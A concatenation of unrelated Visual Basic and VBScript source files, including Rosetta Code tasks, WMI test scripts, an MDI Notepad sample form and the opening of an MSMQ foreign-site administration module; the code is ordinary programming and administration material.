txtValue(VI_VENDOR_STRING_E) = p_clsParameters.Value(VENDOR_STRING_C) & ""
txtValue(VI_BL_DIRECTORY_E) = p_clsParameters.Value( _
BROKEN_LINK_WORKING_DIR_C & Hex(p_enumCurrentSKU)) & ""
txtXML(XI_PKG_DESC_E) = p_clsParameters.DomFragmentPackageDesc(p_enumCurrentSKU)
txtXML(XI_HHT_E) = p_clsParameters.DomFragmentHHT(p_enumCurrentSKU)
txtFiles = p_clsParameters.FilesToInclude(p_enumCurrentSKU)
p_blnUpdating = False
fraSKU.Caption = cboSKU.List(cboSKU.ListIndex) & " Values"
p_blnDirty = False
End Sub
Private Sub p_Save()
p_clsParameters.DisplayName(p_enumCurrentSKU) = txtValue(VI_DISPLAY_NAME_E)
p_clsParameters.ProductId(p_enumCurrentSKU) = txtValue(VI_PRODUCT_ID_E)
p_clsParameters.ProductVersion(p_enumCurrentSKU) = txtValue(VI_PRODUCT_VERSION_E)
p_clsParameters.Value(VENDOR_STRING_C) = txtValue(VI_VENDOR_STRING_E)
p_clsParameters.Value(BROKEN_LINK_WORKING_DIR_C & Hex(p_enumCurrentSKU)) = _
txtValue(VI_BL_DIRECTORY_E)
p_clsParameters.DomFragmentPackageDesc(p_enumCurrentSKU) = txtXML(XI_PKG_DESC_E)
p_clsParameters.DomFragmentHHT(p_enumCurrentSKU) = txtXML(XI_HHT_E)
p_clsParameters.FilesToInclude(p_enumCurrentSKU) = txtFiles
End Sub
Private Sub p_SetSizingInfo()
Static blnInfoSet As Boolean
Dim intIndex As Long
' If (blnInfoSet) Then
' Exit Sub
' End If
p_clsSizer.AddControl cboSKU
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = Me
p_clsSizer.AddControl fraSKU
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = Me
Set p_clsSizer.ReferenceControl(DIM_HEIGHT_E) = Me
For intIndex = VI_DISPLAY_NAME_E To VI_BL_DIRECTORY_E
p_clsSizer.AddControl txtValue(intIndex)
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = fraSKU
Next
p_clsSizer.AddControl txtValue(VI_VENDOR_STRING_E)
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = fraSKU
p_clsSizer.ReferenceDimension(DIM_TOP_E) = DIM_BOTTOM_E
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = Me
p_clsSizer.AddControl lbl(VI_VENDOR_STRING_E)
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = txtValue(VI_VENDOR_STRING_E)
p_clsSizer.AddControl SSTab
Set p_clsSizer.ReferenceControl(DIM_HEIGHT_E) = Me
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = Me
For intIndex = XI_PKG_DESC_E To XI_HHT_E
p_clsSizer.AddControl txtXML(intIndex)
Set p_clsSizer.ReferenceControl(DIM_HEIGHT_E) = SSTab
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = SSTab
p_clsSizer.AddControl WebBrowser(intIndex)
Set p_clsSizer.ReferenceControl(DIM_HEIGHT_E) = SSTab
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = SSTab
Next
p_clsSizer.AddControl txtFiles
Set p_clsSizer.ReferenceControl(DIM_HEIGHT_E) = SSTab
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = SSTab
p_clsSizer.AddControl cmdSave
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = Me
p_clsSizer.ReferenceDimension(DIM_TOP_E) = DIM_HEIGHT_E
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = Me
p_clsSizer.ReferenceDimension(DIM_LEFT_E) = DIM_WIDTH_E
p_clsSizer.AddControl cmdClose
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = cmdSave
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = cmdSave
' blnInfoSet = True
End Sub
|
<filename>Task/Here-document/VBScript/here-document.vb
'Purpose: Converts TXT files into VBS code with a function that returns a text string with the contents of the TXT file
' The TXT file can even be another VBS file.
'History:
' 1.0 8may2009 Initial release
'
'
Const ForReading = 1
Const ForWriting = 2
Const ForAppending = 8
Const TristateUseDefault = -2
set WshShell = CreateObject("WSCript.shell")
'File browse dialog box
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "All Files|*.*"
objDialog.InitialDir = WshShell.CurrentDirectory
intResult = objDialog.ShowOpen
If intResult = 0 Then
WshShell.Popup "No file selected.", 2, " ", 64
Wscript.Quit
Else
strFileNameIN = objDialog.FileName
End If
strFileNameOUT= strFileNameIN & "_CONVERTED.Vbs"
'Check if strFileNameOUT exists already
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(strFileNameOUT) then 'does the file EXIST?
' WScript.Echo "found"
OVRWT=MSGBOX(strFileNameOUT & " exists already"&vbCRLF&"Overwrite?",vbYesNoCancel,"Overwrite?")
if OVRWT = 6 then
'proceed
objFSO.DeleteFile(strFileNameOUT)
else
WshShell.Popup "Exiting as requested.", 1, " ", 64
Wscript.Quit
End If
Else
' WScript.Echo "not found" 'strFileNameOUT does NOT exists already
END if
strBaseName=objFSO.GetBaseName(strFileNameIN)
'open strFileNameANSI file, and put entire file into a variable ****SIZE LIMIT ??*****
Set objFile = objFSO.OpenTextFile(strFileNameIN, ForReading)
strText = objFile.ReadAll
objFile.Close
'Start converting
'Convert " to ""
strOldText = Chr(34)
strNewText = Chr(34)&Chr(34)
strText = Replace(strText, strOldText, strNewText)
'Add objTXTFile.writeline ("
strOldText = VBCRLF
strNewText = """) &vbCrLf"&VBCRLF&" strText=strText& ("""
strText = Replace(strText, strOldText, strNewText)
'Converting done
strFileName=objFSO.GetFileName(strFileNameIN)
'Write to file
Set objFile = objFSO.OpenTextFile(strFileNameOUT, ForAppending, True)
objFile.WriteLine "'this Function will return a string containing the contents of the file called "&strFileName
objFile.WriteLine "msgbox "&strBaseName &"()"
objFile.WriteLine vbCrLf
objFile.WriteLine "Function "&strBaseName&"()"
objFile.WriteLine " 'returns a string containing the contents of the file called "&strFileName
objFile.WriteLine " Dim strText"
objFile.WriteLine " strText= ("""&strText&""") &vbCrLf"
objFile.WriteLine " "&strBaseName&"=strText"
objFile.WriteLine "End Function"
objFile.Close
WshShell.Popup "created " & strFileNameOUT, 3, "Completed", 64
|
<gh_stars>1-10
Private Function mul_inv(a As Long, n As Long) As Variant
If n < 0 Then n = -n
If a < 0 Then a = n - ((-a) Mod n)
Dim t As Long: t = 0
Dim nt As Long: nt = 1
Dim r As Long: r = n
Dim nr As Long: nr = a
Dim q As Long
Do While nr <> 0
q = r \ nr
tmp = t
t = nt
nt = tmp - q * nt
tmp = r
r = nr
nr = tmp - q * nr
Loop
If r > 1 Then
mul_inv = "a is not invertible"
Else
If t < 0 Then t = t + n
mul_inv = t
End If
End Function
Public Sub mi()
Debug.Print mul_inv(42, 2017)
Debug.Print mul_inv(40, 1)
Debug.Print mul_inv(52, -217) '/* Pari semantics for negative modulus */
Debug.Print mul_inv(-486, 217)
Debug.Print mul_inv(40, 2018)
End Sub
|
<reponame>mullikine/RosettaCodeData
Public Sub hello_world_gui()
MsgBox "Goodbye, World!"
End Sub
|
while true
for each Process in GetObject ("winmgmts:{impersonationLevel=Impersonate}").ExecQuery ("select Name from Win32_Process")
WScript.Echo Process.Name
next
wend
|
<gh_stars>1-10
Function div(num,den)
On Error Resume Next
n = num/den
If Err.Number <> 0 Then
div = Err.Description & " is not allowed."
Else
div = n
End If
End Function
WScript.StdOut.WriteLine div(6,3)
WScript.StdOut.WriteLine div(6,0)
WScript.StdOut.WriteLine div(7,-4)
|
'*********************************************************************
'
' put.vbs
'
' Purpose: test SWbemServicesEx::Put functionality
'
' Parameters: none
'
' Returns: 0 - success
' 1 - failure
'
'*********************************************************************
on error resume next
set scriptHelper = CreateObject("WMIScriptHelper.WSC")
scriptHelper.logFile = "c:\temp\put.txt"
scriptHelper.loggingLevel = 3
scriptHelper.testName = "PUT"
scriptHelper.appendLog = false
scriptHelper.testStart
'*****************************
' Create a new class
'*****************************
set ns = GetObject ("winmgmts:root\default")
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to connect to namespace"
else
scriptHelper.writeToLog "Connected to namespace correctly", 2
end if
set newClass = ns.Get ()
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to create new class"
else
scriptHelper.writeToLog "New class created correctly", 2
end if
newClass.Path_.Class = "freddy"
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to set class name"
else
scriptHelper.writeToLog "New class name set correctly", 2
end if
'*****************************
' Define a key
'*****************************
set property = newClass.Properties_.Add ("foo", 19)
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to add property"
else
scriptHelper.writeToLog "New property added correctly", 2
end if
'*****************************
' Define a key
'*****************************
property.Qualifiers_.Add "key", true
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to add key qualifier"
else
scriptHelper.writeToLog "Key qualifier added correctly", 2
end if
'*****************************
' Save it in the current namespace
'*****************************
ns.Put (newClass)
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to save class"
else
scriptHelper.writeToLog "Class saved correctly", 2
end if
'*****************************
' Save it in another namespace
'*****************************
set ns2 = GetObject ("winmgmts:root\cimv2")
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to open 2nd namespace"
else
scriptHelper.writeToLog "Opened 2nd namespace correctly", 2
end if
ns2.Put (newClass)
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to save class in 2nd namespace"
else
scriptHelper.writeToLog "Saved class in 2nd namespace correctly", 2
end if
'*****************************
' Create a new instance
'*****************************
set newClass = ns.Get ("freddy")
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to retrieve class"
else
scriptHelper.writeToLog "Retrieved class correctly", 2
end if
set newInstance = newClass.SpawnInstance_
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to spawn instance"
else
scriptHelper.writeToLog "Spawned instance correctly", 2
end if
newInstance.foo = 10
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to set key"
else
scriptHelper.writeToLog "Set key correctly", 2
end if
'*****************************
' Save in both namespaces
'*****************************
set path1 = ns.Put (newInstance)
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to save instance to 1st namespace"
else
scriptHelper.writeToLog "Saved instance to 1st namespace correctly", 2
end if
set path2 = ns2.Put (newInstance)
if err <> 0 then
scriptHelper.writeErrorToLog err, "Failed to save instance to 2nd namespace"
else
scriptHelper.writeToLog "Saved instance to 2nd namespace correctly", 2
end if
'*****************************
' Check for correct namespace
'*****************************
if path1.Namespace <> "root\default" then
scriptHelper.writeErrorToLog null, "First namespace is incorrect: " & path1.Namespace
else
scriptHelper.writeToLog "First namespace is correct", 2
end if
if path2.Namespace <> "root\cimv2" then
scriptHelper.writeErrorToLog null, "Second namespace is incorrect: " & path2.Namespace
else
scriptHelper.writeToLog "Second namespace is correct", 2
end if
scriptHelper.testComplete
if scriptHelper.statusOK then
WScript.Echo "PASS"
WScript.Quit 0
else
WScript.Echo "FAIL"
WScript.Quit 1
end if
|
<gh_stars>10-100
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim WithEvents sink As SWbemSink
Attribute sink.VB_VarHelpID = -1
Private Sub Form_Load()
Set sink = CreateObject("WbemScripting.SWbemSink")
Dim x As SWbemObject
Dim ns As SWbemServices
Dim ns2 As SWbemServices
Set ns = GetObject("winmgmts:root\default")
Set ns2 = GetObject("winmgmts:root\cimv2")
Set x = ns.Get("freddy")
Dim y As SWbemObject
Set y = x.SpawnInstance_
y.foo = 33
ns.PutAsync sink, y
y.foo = 35
ns2.PutAsync sink, y
End Sub
Private Sub sink_OnCompleted(ByVal iHResult As WbemScripting.WbemErrorEnum, ByVal objWbemErrorObject As WbemScripting.ISWbemObject, ByVal objWbemAsyncContext As WbemScripting.ISWbemNamedValueSet)
Debug.Print "Done"
End Sub
Private Sub sink_OnObjectPut(ByVal objWbemObjectPath As WbemScripting.ISWbemObjectPath, ByVal objWbemAsyncContext As WbemScripting.ISWbemNamedValueSet)
Debug.Print objWbemObjectPath.Path
End Sub
Private Sub sink_OnObjectReady(ByVal objWbemObject As WbemScripting.ISWbemObject, ByVal objWbemAsyncContext As WbemScripting.ISWbemNamedValueSet)
Debug.Print "Error!"
End Sub
Private Sub sink_OnProgress(ByVal iUpperBound As Long, ByVal iCurrent As Long, ByVal strMessage As String, ByVal objWbemAsyncContext As WbemScripting.ISWbemNamedValueSet)
Debug.Print iUpperBound, iCurrent, strMessage
End Sub
|
WScript.Echo DotProduct("1,3,-5","4,-2,-1")
Function DotProduct(vector1,vector2)
arrv1 = Split(vector1,",")
arrv2 = Split(vector2,",")
If UBound(arrv1) <> UBound(arrv2) Then
WScript.Echo "The vectors are not of the same length."
Exit Function
End If
DotProduct = 0
For i = 0 To UBound(arrv1)
DotProduct = DotProduct + (arrv1(i) * arrv2(i))
Next
End Function
|
<reponame>npocmaka/Windows-Server-2003<filename>net/unimodem/tools/src/mdi.frm
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.0#0"; "COMDLG16.OCX"
Begin VB.MDIForm frmMDI
BackColor = &H8000000C&
Caption = "MDI NotePad"
ClientHeight = 3495
ClientLeft = 915
ClientTop = 2205
ClientWidth = 5520
Height = 3900
Left = 855
LinkTopic = "MDIForm1"
Top = 1860
Width = 5640
Begin VB.PictureBox picToolbar
Align = 1 'Align Top
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 405
Left = 0
ScaleHeight = 345
ScaleWidth = 5460
TabIndex = 0
Top = 0
Width = 5520
Begin MSComDlg.CommonDialog CMDialog1
Left = 1995
Top = 0
_ExtentX = 847
_ExtentY = 847
CancelError = -1 'True
DefaultExt = "TXT"
Filter = "Text Files (*.txt)|*.txt|All Files (*.*)|*.*"
FilterIndex = 557
FontSize = 1.27584e-37
End
Begin VB.Image imgPasteButtonUp
Height = 330
Left = 5280
Picture = "MDI.frx":0000
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgPasteButtonDn
Height = 330
Left = 4920
Picture = "MDI.frx":01E2
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgCopyButtonDn
Height = 330
Left = 4200
Picture = "MDI.frx":03C4
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgCopyButtonUp
Height = 330
Left = 4560
Picture = "MDI.frx":05A6
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgCutButtonDn
Height = 330
Left = 3840
Picture = "MDI.frx":0788
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgCutButtonUp
Height = 330
Left = 3480
Picture = "MDI.frx":096A
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgFileOpenButtonDn
Height = 330
Left = 2760
Picture = "MDI.frx":0B4C
Top = 0
Visible = 0 'False
Width = 360
End
Begin VB.Image imgFileOpenButtonUp
Height = 330
Left = 3120
Picture = "MDI.frx":0CD6
Top = 0
Visible = 0 'False
Width = 360
End
Begin VB.Image imgFileNewButtonUp
Height = 330
Left = 2400
Picture = "MDI.frx":0E60
Top = 0
Visible = 0 'False
Width = 360
End
Begin VB.Image imgFileNewButtonDn
Height = 330
Left = 2040
Picture = "MDI.frx":0FEA
Top = 0
Visible = 0 'False
Width = 375
End
Begin VB.Image imgPasteButton
Height = 330
Left = 1560
Picture = "MDI.frx":11CC
ToolTipText = "Paste"
Top = 0
Width = 375
End
Begin VB.Image imgCopyButton
Height = 330
Left = 1200
Picture = "MDI.frx":13AE
ToolTipText = "Copy"
Top = 0
Width = 375
End
Begin VB.Image imgCutButton
Height = 330
Left = 840
Picture = "MDI.frx":1590
ToolTipText = "Cut"
Top = 0
Width = 375
End
Begin VB.Image imgFileOpenButton
Height = 330
Left = 360
Picture = "MDI.frx":1772
ToolTipText = "Open File"
Top = 0
Width = 360
End
Begin VB.Image imgFileNewButton
Height = 330
Left = 0
Picture = "MDI.frx":18FC
ToolTipText = "New File"
Top = 0
Width = 360
End
End
Begin VB.Menu mnuFile
Caption = "&File"
Begin VB.Menu mnuFileNew
Caption = "&New"
End
Begin VB.Menu mnuFileOpen
Caption = "&Open"
End
Begin VB.Menu mnuFileExit
Caption = "E&xit"
End
Begin VB.Menu mnuSeparator
Caption = "-"
End
Begin VB.Menu mnuRecentFile
Caption = "-"
Index = 0
Visible = 0 'False
End
Begin VB.Menu mnuRecentFile
Caption = "RecentFile1"
Index = 1
Visible = 0 'False
End
Begin VB.Menu mnuRecentFile
Caption = "RecentFile2"
Index = 2
Visible = 0 'False
End
Begin VB.Menu mnuRecentFile
Caption = "RecentFile3"
Index = 3
Visible = 0 'False
End
Begin VB.Menu mnuRecentFile
Caption = "RecentFile4"
Index = 4
Visible = 0 'False
End
Begin VB.Menu mnuRecentFile
Caption = "RecentFile5"
Index = 5
Visible = 0 'False
End
End
Begin VB.Menu mnuOptions
Caption = "&Options"
Begin VB.Menu mnuOptionsToolbar
Caption = "&Toolbar"
End
End
End
Attribute VB_Name = "frmMDI"
Attribute VB_Base = "0{B61445CB-CA75-11CF-84BA-00AA00C007F0}"
Attribute VB_Creatable = False
Attribute VB_TemplateDerived = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_Customizable = False
'*** Main MDI form for MDI Notepad sample ***
'*** application. ***
'**************************************************
Option Explicit
Private Sub imgCopyButton_Click()
' Refresh the image.
imgCopyButton.Refresh
' Call the copy procedure
EditCopyProc
End Sub
Private Sub imgCopyButton_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the down state.
imgCopyButton.Picture = imgCopyButtonDn.Picture
End Sub
Private Sub imgCopyButton_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
' If the button is pressed, display the up bitmap when the
' mouse is dragged outside the button's area; otherwise
' display the down bitmap.
Select Case Button
Case 1
If x <= 0 Or x > imgCopyButton.Width Or Y < 0 Or Y > imgCopyButton.Height Then
imgCopyButton.Picture = imgCopyButtonUp.Picture
Else
imgCopyButton.Picture = imgCopyButtonDn.Picture
End If
End Select
End Sub
Private Sub imgCopyButton_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the up state.
imgCopyButton.Picture = imgCopyButtonUp.Picture
End Sub
Private Sub imgCutButton_Click()
' Refresh the image.
imgCutButton.Refresh
' Call the cut procedure
EditCutProc
End Sub
Private Sub imgCutButton_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the down state.
imgCutButton.Picture = imgCutButtonDn.Picture
End Sub
Private Sub imgCutButton_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
' If the button is pressed, display the up bitmap when the
' mouse is dragged outside the button's area; otherwise,
' display the down bitmap.
Select Case Button
Case 1
If x <= 0 Or x > imgCutButton.Width Or Y < 0 Or Y > imgCutButton.Height Then
imgCutButton.Picture = imgCutButtonUp.Picture
Else
imgCutButton.Picture = imgCutButtonDn.Picture
End If
End Select
End Sub
Private Sub imgCutButton_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the up state.
imgCutButton.Picture = imgCutButtonUp.Picture
End Sub
Private Sub imgFileNewButton_Click()
' Refresh the image.
imgFileNewButton.Refresh
' Call the new file procedure
FileNew
End Sub
Private Sub imgFileNewButton_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the down state.
imgFileNewButton.Picture = imgFileNewButtonDn.Picture
End Sub
Private Sub imgFileNewButton_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
' If the button is pressed, display the up bitmap when the
' mouse is dragged outside the button's area; otherwise,
' display the down bitmap.
Select Case Button
Case 1
If x <= 0 Or x > imgFileNewButton.Width Or Y < 0 Or Y > imgFileNewButton.Height Then
imgFileNewButton.Picture = imgFileNewButtonUp.Picture
Else
imgFileNewButton.Picture = imgFileNewButtonDn.Picture
End If
End Select
End Sub
Private Sub imgFileNewButton_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the up state.
imgFileNewButton.Picture = imgFileNewButtonUp.Picture
End Sub
Private Sub imgFileOpenButton_Click()
' Refresh the image.
imgFileOpenButton.Refresh
' Call the file open procedure
FileOpenProc
End Sub
Private Sub imgFileOpenButton_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the down state.
imgFileOpenButton.Picture = imgFileOpenButtonDn.Picture
End Sub
Private Sub imgFileOpenButton_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
' If the button is pressed, display the up bitmap when the
' mouse is dragged outside the button's area; otherwise,
' display the down bitmap.
Select Case Button
Case 1
If x <= 0 Or x > imgFileOpenButton.Width Or Y < 0 Or Y > imgFileOpenButton.Height Then
imgFileOpenButton.Picture = imgFileOpenButtonUp.Picture
Else
imgFileOpenButton.Picture = imgFileOpenButtonDn.Picture
End If
End Select
End Sub
Private Sub imgFileOpenButton_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the up state.
imgFileOpenButton.Picture = imgFileOpenButtonUp.Picture
End Sub
Private Sub imgPasteButton_Click()
' Refresh the image.
imgPasteButton.Refresh
' Call the paste procedure
EditPasteProc
End Sub
Private Sub imgPasteButton_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the down state.
imgPasteButton.Picture = imgPasteButtonDn.Picture
End Sub
Private Sub imgPasteButton_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
' If the button is pressed, display the up bitmap when the
' mouse is dragged outside the button's area; otherwise,
' display the down bitmap.
Select Case Button
Case 1
If x <= 0 Or x > imgPasteButton.Width Or Y < 0 Or Y > imgPasteButton.Height Then
imgPasteButton.Picture = imgPasteButtonUp.Picture
Else
imgPasteButton.Picture = imgPasteButtonDn.Picture
End If
End Select
End Sub
Private Sub imgPasteButton_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
' Show the picture for the up state.
imgPasteButton.Picture = imgPasteButtonUp.Picture
End Sub
Private Sub MDIForm_Load()
' Application starts here (Load event of Startup form).
Show
' Always set the working directory to the directory containing the application.
ChDir App.Path
' Initialize the document form array, and show the first document.
ReDim Document(1)
ReDim FState(1)
Document(1).Tag = 1
FState(1).Dirty = False
' Read System registry and set the recent menu file list control array appropriately.
GetRecentFiles
' Set public variable gFindDirection which determines which direction
' the FindIt function will search in.
gFindDirection = 1
End Sub
Private Sub MDIForm_Unload(Cancel As Integer)
' If the Unload event was not cancelled (in the QueryUnload events for the Notepad forms),
' there will be no document window left, so go ahead and end the application.
If Not AnyPadsLeft() Then
End
End If
End Sub
Private Sub mnuFileExit_Click()
' End the application.
End
End Sub
Private Sub mnuFileNew_Click()
' Call the new file procedure
FileNew
End Sub
Private Sub mnuFileOpen_Click()
' Call the file open procedure.
FileOpenProc
End Sub
Private Sub mnuOptions_Click()
' Toggle the visibility of the toolbar.
mnuOptionsToolbar.Checked = frmMDI.picToolbar.Visible
End Sub
Private Sub mnuOptionsToolbar_Click()
' Call the toolbar procedure, passing a reference
' to this form.
OptionsToolbarProc Me
End Sub
Private Sub mnuRecentFile_Click(index As Integer)
' Call the file open procedure, passing a
' reference to the selected file name
OpenFile (mnuRecentFile(index).Caption)
' Update the list of the most recently opened files.
GetRecentFiles
End Sub
|
Attribute VB_Name = "mqForeignMod"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Copyright (c) 2000 Microsoft Corporation
'
' Module Name:
'
' mqforeign.bas
'
' Abstract:
' Handle Foreign computers, foreign sites and MSMQ Routing Links using ADSI
'
' Author:
'
' <NAME> (<EMAIL>)
'
' Version:
' 1.1
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Option Explicit
Const MqForeignVersion = "1.1"
Const ACL_REVISION_DS = 4
Const MAX_COMPUTERNAME_LENGTH = 15
Const UF_WORKSTATION_TRUST_ACCOUNT = &H1000
Const UF_PASSWD_NOTREQD = &H20
Const MSMQ_OS_FOREIGN = &H100
Const ERROR_DS_NAME_ERROR_NOT_FOUND = &H80072116
Const E_ADS_PROPERTY_NOT_FOUND = &H8000500D
Const SYSTEM_RIGHTS = &HF00FF 'STANDARD_RIGHTS_REQUIRED or RIGHT_DS_CREATE_CHILD or _
RIGHT_DS_DELETE_CHILD or RIGHT_DS_DELETE_TREE or _
RIGHT_DS_READ_PROPERTY or RIGHT_DS_WRITE_PROPERTY or _
RIGHT_DS_LIST_CONTENTS or RIGHT_DS_LIST_OBJECT or _
RIGHT_DS_SELF_WRITE
Const ERROR_SITE_NOT_FOREIGN = vbObjectError + 1
Const ERROR_COMPUTER_NOT_FOREIGN = vbObjectError + 2
Const ERROR_PARAMETER_REQUIRED = vbObjectError + 3
Const ERROR_CANNOT_REMOVE_LAST_SITE = vbObjectError + 4
Const ERROR_SERVER_CANNOTE_BE_SITE_GATE = vbObjectError + 5
Const ERROR_BOTH_SITES_ARE_FOREIGN = vbObjectError + 6
Const ERROR_PARAMETERS_CONFLICT = vbObjectError + 7
Global LogFile As String
Global ErrFile As String
Global fSilent As Boolean
Global fVerbose As Boolean
Global g_DomainName As String
Sub Main()
On Error GoTo Error_Handler
Dim CmdParams() As String
Dim Dict As New Dictionary
CmdParams = Split(Command())
Dim I, NumParams As Integer
Dim Ub, Lb As Integer
Ub = UBound(CmdParams)
Lb = LBound(CmdParams)
'
' Parameters parsing
'
Dim Key As String
For I = Lb To Ub
If IsCommand(CmdParams(I)) Then
Key = StrConv(Mid(CmdParams(I), 2), vbLowerCase)
If I < Ub Then
If IsCommand(CmdParams(I + 1)) Then
Dict.Add Key, ""
Else
Dict.Add Key, CmdParams(I + 1)
I = I + 1
End If
Else
Dict.Add Key, ""
End If
End If
Next
If Dict.Count = 0 Then
ReportUsage
Exit Sub
End If
LogFile = Dict.Item("logfile")
ErrFile = Dict.Item("errorfile")
fSilent = Dict.Exists("silent")
fVerbose = Dict.Exists("verbose")
g_DomainName = Dict.Item("domain")
'
' Initialize the g_DomainName - either the user's domain name of the command line parameter
'
InitGlobalDomainName
ReportLog "MqForeign " + Command
Dim SiteName As String
SiteName = Dict.Item("site")
Dim CompName As String
CompName = Dict.Item("comp")
'
' Parameters checking
'
If Dict.Exists("crsite") Or Dict.Exists("crcomp") Or Dict.Exists("crlink") _
Or Dict.Exists("addaccess") Or Dict.Exists("delsite") Or Dict.Exists("addsite") _
Or Dict.Exists("remsite") Then
If SiteName = "" Then
Err.Raise ERROR_PARAMETER_REQUIRED, , "Site Name is Required"
End If
End If
If Dict.Exists("crcomp") Or Dict.Exists("addsite") Or Dict.Exists("delcomp") _
Or Dict.Exists("remsite") Then
If CompName = "" Then
Err.Raise ERROR_PARAMETER_REQUIRED, , "Computer Name is Required"
End If
End If
Dim PeerSite As String
If Dict.Exists("crlink") Or Dict.Exists("dellink") Then
PeerSite = Dict.Item("peersite")
If PeerSite = "" Then
Err.Raise ERROR_PARAMETER_REQUIRED, , "Peer Site is Required"
End If
End If
Dim LinkServer As String, LinkCost As Long
If Dict.Exists("crlink") Then
LinkServer = Dict.Item("linkserver")
LinkCost = Dict.Item("linkcost")
If LinkServer = "" Then
Err.Raise ERROR_PARAMETER_REQUIRED, , "Link Server is Required"
End If
If LinkCost = 0 Then
Err.Raise ERROR_PARAMETER_REQUIRED, , "Link Cost is Required"
End If
End If
If (Dict.Exists("crcomp") Or Dict.Exists("delcomp")) _
And (Dict.Exists("remsite") Or Dict.Exists("addsite")) Then
Err.Raise ERROR_PARAMETERS_CONFLICT, , "Cannot add or remove site and create or delete computer in the same command"
End If
'
' Command execution
'
If Dict.Exists("crsite") Then
CreateForeignSite SiteName
End If
If Dict.Exists("crcomp") Then
CreateForeignComputer CompName, SiteName
End If
If Dict.Exists("addsite") Then
AddSiteToComputer CompName, SiteName
End If
If Dict.Exists("crlink") Then
CreateLink SiteName, PeerSite, LinkServer, LinkCost
End If
If Dict.Exists("addaccess") Then
AddOpenConnectorAccess SiteName
End If
If Dict.Exists("dellink") Then
DeleteLink SiteName, PeerSite
End If
If Dict.Exists("delcomp") Then
DeleteForeignComputer CompName
End If
If Dict.Exists("delsite") Then
DeleteForeignSite SiteName
End If
If Dict.Exists("remsite") Then
RemoveSiteFromComputer CompName, SiteName
End If
GoTo End_main
Error_Handler:
ReportError "Error " + Hex(Err.Number) + " - " + Err.Description
If Err.Number = ERROR_PARAMETER_REQUIRED Then ReportUsage
End_main:
End Sub
Function IsCommand(Cmd As String) As Boolean
Dim ControlChar As String
ControlChar = Mid(Cmd, 1, 1)
IsCommand = (ControlChar = "-" Or ControlChar = "/")
End Function
Sub CreateForeignSite(ForeignSiteName As String)
Dim sitesContainerObj As IADsContainer
Dim ForeignSiteObj As IADs
Set sitesContainerObj = GetSitesContainer()
Set ForeignSiteObj = sitesContainerObj.Create("site", "CN=" + ForeignSiteName)
ForeignSiteObj.Put "mSMQSiteForeign", True
'
' Security
'
Dim SecurityDesc As New SecurityDescriptor
SecurityDesc.Revision = 1
SecurityDesc.Control = ADS_SD_CONTROL_SE_DACL_PRESENT
Dim Dacl As New AccessControlList
Dacl.AclRevision = ACL_REVISION_DS
'
' Do not allow changing of the name (CN property)
'
